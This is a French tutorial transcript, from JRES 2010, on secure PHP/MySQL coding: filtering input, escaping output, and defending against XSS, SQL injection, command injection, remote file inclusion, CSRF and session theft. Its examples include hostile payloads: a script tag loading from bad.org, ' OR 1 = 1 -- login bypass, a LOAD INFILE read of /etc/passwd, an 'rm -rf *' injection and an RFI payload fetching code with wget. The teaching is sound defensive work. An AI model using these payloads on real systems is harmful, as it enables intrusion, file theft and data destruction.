Conseils en écriture PHP/MySQL. Magali Contensin



Documents pareils
ADF 2009 Sécurisation d applications PHP/MySQL

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

L3 informatique TP n o 2 : Les applications réseau

Stockage du fichier dans une table mysql:

Pratique et administration des systèmes

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

PHP et les Bases de données - Généralités

Vulnérabilités et sécurisation des applications Web

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

PHP 5. La base de données MySql. A. Belaïd 1

Attaques applicatives

(structure des entêtes)

Serveurs de noms Protocoles HTTP et FTP

Audit Sécurité vendredi 13 novembre

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

PHP 4 PARTIE : BASE DE DONNEES

Sécuriser les applications web de l entreprise

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

Vulnérabilités et solutions de sécurisation des applications Web

Sécurité des applications web. Daniel Boteanu

Mysql. Les requêtes préparées Prepared statements

Protection des protocoles

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

PHP. Bertrand Estellon. 26 avril Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril / 214

SYSTÈMES D INFORMATIONS

Présentation de la solution Open Source «Vulture» Version 2.0

Mise en place d un serveur Proxy sous Ubuntu / Debian

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

PDO : PHP Data Object 1/13

Sécuriser les applications web

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 -

Sécurité des réseaux Les attaques

«Cachez-moi cette page!»

CREATION WEB DYNAMIQUE

1 Position du problème

L envoi d un formulaire par courriel. Configuration requise Mail Texte Mail HTML Check-list

TP JAVASCRIPT OMI4 TP5 SRC

WebSSO, synchronisation et contrôle des accès via LDAP

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10


SERVEUR HTTP Administration d apache

PHP. PHP et bases de données

Introduction à JDBC. Accès aux bases de données en Java

COURS 5 Mettre son site en ligne! Exporter son site avec WordPress Duplicator Installer un logiciel FTP Faire le suivi des visites de son site avec

Module http MMS AllMySMS.com Manuel d intégration

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Analyse statique de code dans un cycle de développement Web Retour d'expérience

Logiciel : GLPI Version : SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003.

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

INF8007 Langages de script

PySQLi. Framework d'injection de code SQL

Manuel d'installation

INSTALLATION NG V2.1 D OCS INVENTORY. Procédure d utilisation. Auteur : GALLEGO Cédric 23/10/2014 N version : v1

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

Installation et configuration d OCS/GLPI sur un Serveur Debian

Dans l'épisode précédent

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

Proxies,, Caches & CDNs

Security Exposed. #1 - Take the red pill. An introduction to hacking & security flaws. ... and follow the white rabbit

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Langage SQL (1) 4 septembre IUT Orléans. Introduction Le langage SQL : données Le langage SQL : requêtes

Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework

Mysql avec EasyPhp. 1 er mars 2006

2011 Hakim Benameurlaine 1

CASE-LINUX MAIL - ROUNDCUBE

VXPERT SYSTEMES. CITRIX NETSCALER 10.1 et SMS PASSCODE 6.2. Guide d installation et de configuration pour Xenapp 6.5 avec SMS PASSCODE 6.

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

Tests de montée en charge avec Tsung

Transfert d un site local vers un serveur. NPDS REvolution 13. Rédaction : Axel Relecture : Dev & Jpb

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Démonstration de la mise en cache via HTML 5 sur iphone

OUTIL DE TRAVAIL COLLABORATIF

arcopole Studio Annexe 4 Intégration LDAP et processus d authentification Site du programme arcopole :

Extension SSO Java. Cette note technique décrit la configuration et la mise en œuvre du filtre de custom SSO Java.

La mémorisation des mots de passe dans les navigateurs web modernes

Tous les autres noms de produits ou appellations sont des marques déposées ou des noms commerciaux appartenant à leurs propriétaires respectifs.

Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068

Command Execution: File Inclusion : SQL injection :... 10

Le Tunneling DNS. P.Bienaimé X.Delot P.Mazon K.Tagourti A.Yahi A.Zerrouki. Université de Rouen - M2SSI. 24 février 2011

Bases de données et sites WEB

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

Ocs Inventory et GLPI s appuie sur un serveur LAMP. Je vais donc commencer par installer les paquets nécessaires.

Authentification et contrôle d'accès dans les applications web

SQL Parser XML Xquery : Approche de détection des injections SQL

HTTP 1.1. HyperText Transfer Protocol TCP IP ...

Plan Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO S2-IO2 Bases de données: Jointures, Transactions

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

Quelques patterns pour la persistance des objets avec DAO DAO. Principe de base. Utilité des DTOs. Le modèle de conception DTO (Data Transfer Object)

Protocoles Applicatifs

Sommaire. I.1 : Alimentation à partir d un fichier Access (.mdb)...2

DOM - Document Object Model

Transcription:

Tuto JRES 2010 Conseils en écriture PHP/MySQL Magali Contensin contensin@ibdml.univ-mrs.fr mrs

1 Plan 1. Filtrer les entrées 2. Protéger les sorties 3. Interdire la mise en cache de données 4. Masquer les données de connexion à un SGBD 5. Protection contre le XSS 6. Protection contre les Injections 7. Protection contre le CSRF 8. Protection ti contre le détournement t de sessions

2 1. Filtrer les entrées Entrées d une application web fichiers Requête HTTP li t Application Web client SGBD en-tête corps sessions env. 2

3 1. Filtrer les entrées Entrées d un script PHP pour GET / POST GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV $_SESSION POST /reservation.php?id=25 HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST fichier données session secondaires 3

4 1. Filtrer les entrées Query string Envoi de données malveillantes Formulaire Requête forgée Outils plugin navigateur proxy serveur client en-tête corps en-tête corps POST /reservation.php?id=2 HTTP/1.1 Host: www.vacances.fr Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www- Content-Length: 11 lieu=venise client telnet 80 Requête forgée Altération variables en-tête & corps valeurs champs en-tête 4

5 1. Filtrer les entrées Implications méthode HTTP différente de celle attendue champs en-tête HTTP modifiés (User-Agent) arguments supprimés ou modifiés (valeurs inattendues) arguments ajoutés <?php // login.php... if (veriflogin($_post[ POST['login'], $_POST[ POST['passwd'])){ $ok = true ; }... if ($ok){ $ k... }?> extract http://.../login.php?ok=1 register_globals à on

6 1. Filtrer les entrées Données reçues peuvent être : retournées au client XSS réfléchi stockées dans SGBD, fichier, session XSS stocké utilisées pour interroger un SGBD SQL Injection utilisées pour exécuter un programme Injection de commandes Ne jamais faire confiance aux données envoyées Ne jamais faire confiance aux données envoyées par le client

7 1. Filtrer les entrées Initialiser les variables Vérifier toute entrée $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer -type des données : intval, ctype_*, cast -présence p des données attendues -valeurs de nombres comprises entre deux bornes -taillemin < taille donnée < taillemax -jeu de caractères -valeur null autorisée ou non -select, radio, : valeur comprise dans une liste

8 1. Filtrer les entrées Filtrage o liste blanche : Indique ce qui est autorisé o liste noire : Indique ce qui est interdit A éviter car plus permissif Une extension PHP (version > 5.2) fournit des fonctions de filtrage et de nettoyage (fonctions filter_*)

9 1. Filtrer les entrées Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) Vérification du chemin Suppression du chemin realpath($chemin) basename($chemin) <?php // script code.php header("content Content-type:text/plain type:text/plain"); $fichier = basename($_get["p"]); readfile($fichier);?> http://.../code.php?p=/etc/passwd

10 1. Filtrer les entrées Protéger les opérations sur les fichiers File upload - Lire les données avec $_FILES - Manipuler avec move_uploaded_file - Ne pas se fier au type MIME ou à l extension - Attention aux commentaires d images - Renommer (ne jamais utiliser le nom de fichier envoyé) - Limiter la taille et le nombre des téléchargements.

11 2. Protéger les sorties Sorties d une application web fichiers client Requête HTTP Application Web SGBD en-tête corps Réponse HTTP en-tête corps texte ou binaire sessions env.

12 2. Protéger les sorties Navigateur Définir le jeu de caractères de la page <meta http-equiv="content-type" content="text/html; text/html; charset=utf-8"/> 8/> Coder les caractères spéciaux htmlentities, htmlspecialchars(chaine, ENT_QUOTES) Données passées à un interpréteur

13 3. Interdire la mise en cache Complétion de formulaires <form action="login.php" method="post"> Page web <form action="login.php" AUTOCOMPLETE="off" method="post"> header("cache-control: no-cache"); // HTTP/1.1 header("pragma: no-cache"); // HTTP/1.0 header("expires: Thu, 01 Jan 1970 00:00:00 GMT"); 13

14 4. Masquer les informations de connexion SGBD <Directory "/var/www/pagesperso/magali/appliweb"> Include /home/magali/base.txt </Directory> SetEnv dblogin "magali" SetEnv dbpass "m2pasmag" SetEnv dbbd d "ma_base" SetEnv dbhost "127.0.0.1" base.txt t chmod 600 base.txt <?php echo $_SERVER['dbLogin']; system('cat /home/magali/base.txt');?> 14

15 5. Protection contre le XSS XSS envoyé par le pirate nom Smith<script src=http://bad.org/c.js></script> mail 1 john.smith@bad.org XSS Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD 3 Erreur 1 : pas de vérification des entrées 2 <?php p import_request_variables('g', 'f_'); $req = "INSERT INTO users (nom, mail) VALUES ('$f_nom', '$f_mail')";?> 15

16 5. Protection contre le XSS L accès à une ressource provoque l envoi du XSS au navigateur => vulnérabilité admin. 1 GET liste_inscrits.php XSS Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD 3 Smith <script src=http://bad.org/c.js></script> john.smith@bad.org<br> Erreur 2 : pas de protection des sorties 2 <?php $req = "SELECT nom, mail FROM users"; echo $res['nom'];?> 16

17 5. Protection contre le XSS Filtrer les entrées (par liste blanche) éventuellement nettoyer les entrées (utf8_decode, strip_tags, filter_*) Préciser le jeu de caractères Protéger les sorties (htmlentities, htmlspecialchars) <?php $req = "SELECT nom, mail FROM users"; echo htmlentities($res['nom'], ENT_QUOTES);?> Smith <script src=http://bad.org/c.js></script>

18 6. Protection contre les injections SQL ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 Application Web 2 <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM users WHERE login='$login' AND password='$pwd'"; // $prenom contient la valeur retournee par MySQL echo "bonjour $prenom!";?>

19 6. Protection contre les injections SQL ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM users WHERE login='' OR 1 = 1 -- ' AND password='' Application Web SGBD

20 6. Protection contre les injections SQL ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM users WHERE login='' OR 1 = 1 -- ' AND password='' 4 Application Web bonjour Magali! 3 SGBD +-------+------------+ login prenom +-------+------------+ mag Magali admin Grand chef +-------+------------+

21 6. Protection contre les injections Filtrer les entrées : taille, type,... Cast des nombres ou mettre des ' ' autour des nombres $req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";?ref=21&nb=5,%20desc=load%20infile('/etc/passwd') UPDATE commande SET quantite=5, te desc=load INFILE('/etc/passwd') WHERE ref=21 Ne pas afficher d information en cas d erreur Extension mysql : protéger avec mysql_real_escape_string escape string $req = "SELECT login, prenom FROM users WHERE login='". mysql_real_escape_string($login). "' AND password='". mysql_real_escape_string($pwd). "'"; ' OR 1 = 1 LIMIT 1,1 -- SELECT login, prenom FROM users WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

22 6. Protection contre les injections Utiliser des requêtes préparées avec des paramètres liés (sinon aucune protection) <?php require 'db.php'; try{ // connexion $cnx = new PDO("mysql:host=$host;dbname=$db_name", $db_user, $db_pwd); $cnx->setattribute(pdo::attr_errmode, PDO::ERRMODE_EXCEPTION); EXCEPTION); // preparer la requete $req = "SELECT prenom FROM users WHERE login=? AND password=?"; $reqprep = $cnx->prepare($req); $reqprep->execute(array($_post[ POST['login'] ], $_POST[ POST['passwd'])); // afficher le resultat if ($res = $reqprep->fetch(pdo::fetch_assoc)){ echo "bonjour ", $res['prenom']; } // deconnexion $cnx = null; }catch (PDOException $e){ die("exception"); exception }?>

23 6. Protection contre les injections Commandes <?php echo system("ls -1 *.".$_GET['ext']);?> /listing.php?ext=php;cd/;rm+-rf+* listing.php 1 2 ls -1 *.php;cd/;rm+-rf+* cnx.php index.php connectbase.php listing.php 3 4 / 5

24 6. Protection contre les injections Filtrer les entrées if (!ctype_alpha($ext)){ die("argument non valide"); } Supprimer tout appel système inutile : Ex. system('sendmail ') sendmail => mail( ) Protéger des méta-caractères (escapeshellcmd, escapeshellarg)

25 6. Protection contre les injections Code (RFI Remote File Inclusion) exec bad.org GET bad.txt 3 bad.txt <?php p echo system('cd /tmp; ls; wget http://bad.org/exec; ls');?> 5 test.php?p=http://bad.org/bad.txt%00 2 4 wget http://bad.org/exec 1 test.php p <?php require($_get['p'].'.php');?> /tmp echo system('cd /tmp; ls; wget http://bad.org/exec; ls');

26 6. Protection contre les injections Filtrer les entrées (liste blanche) Filtrer les entrées (liste blanche) Chemin : utiliser basename, realpath

27 6. Protection ti contre les injections Null injection (caractère \0) <?php $fichier = basename($_get['nom']); readfile($fichier.".txt"); t")?>?nom=test.php%00 <?php p if (preg_match("/[^a-za-z]/", $_GET['chaine'])){ die('erreur'); } else{ echo 'ok'; }?chaine=test1?>?chaine=%00test1 Filtrer les entrées (méthode liste blanche)

28 7. Protection contre le CSRF Ajouter un commentaire <img src='article.php?id=3&action=del' width='0'> 1 membre d un site protégé 3 <img src='article.php?id=3&action=del' width='0'> SGBD 2 GET article.php?id=3&action=read membre d un site protégé 4 <img src='article.php?id=3&action=del' width='0'> GET http://.../article.php?id=3&action=del

29 7. Protection contre le CSRF Actions à entreprendre Majorité des attaques = méthode GET Utiliser POST si mise à jour de données Ne pas utiliser $_REQUEST pour récupérer les données => Protège contre les attaques menées par GET Attaques utilisant POST Forcer l utilisation du formulaire du site (idée s assurer que les données reçues par POST proviennent bien d un formulaire envoyé par le site) => Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

30 8. Protection contre le vol de session Détourner une session = fournir un id valide 1 login=zorro&passwd=paszorro p sessid=21000 Bonjour Zorro 2 3 sessid=21000 article=12&action=voir sessid=21000 article=5&action=supprimer

31 8. Protection contre le vol de session Identifiant transmis par cookie, URL, champ form. Attaques pour obtenir un identifiant valide Prédiction (id = nombre entier incrémenté) Force brute Fixation Vol o o o o id dans l URL (historique, bookmark, logs, envoi par mail, ) vol de cookie (XSS, ordinateur public) interception (écoute réseau) consultation des fichiers de session sur le serveur

32 8. Protection contre le vol de session Regénérer l id lid de session après authentification (session_regenerate_id) Limiter la durée de validité d une session Utiliser un 2 ème moyen de suivi de session (chaîne User-Agent encodée, stockée en session) Toujours proposer une déconnexion, celle-ci doit : Supprimer les données de session sur le serveur Envoyer un cookie de session avec une valeur vide au client Utiliser les identifiants de session PHP Transmettre l id uniquement par cookie

33 Sur Internet Top 25 Most Dangerous Programming g Errors http://cwe.mitre.org/top25 WASC (Web Application Security Consortium) http://www.webappsec.org/projects/threat/classes_of_attack.shtml OWASP (Open Web Application Security Project) http://www.owasp.org/index.php/category:owasp_top_ten_project http://www.owasp.org/index.php/category:owasp_guide_project CERTA (Centre d Expertise Gouvernemental de Réponse et de Traitement des Attaques Informatiques) http://www.certa.ssi.gouv.fr CERT (Computer Emergency Response Team) http://www.cert.org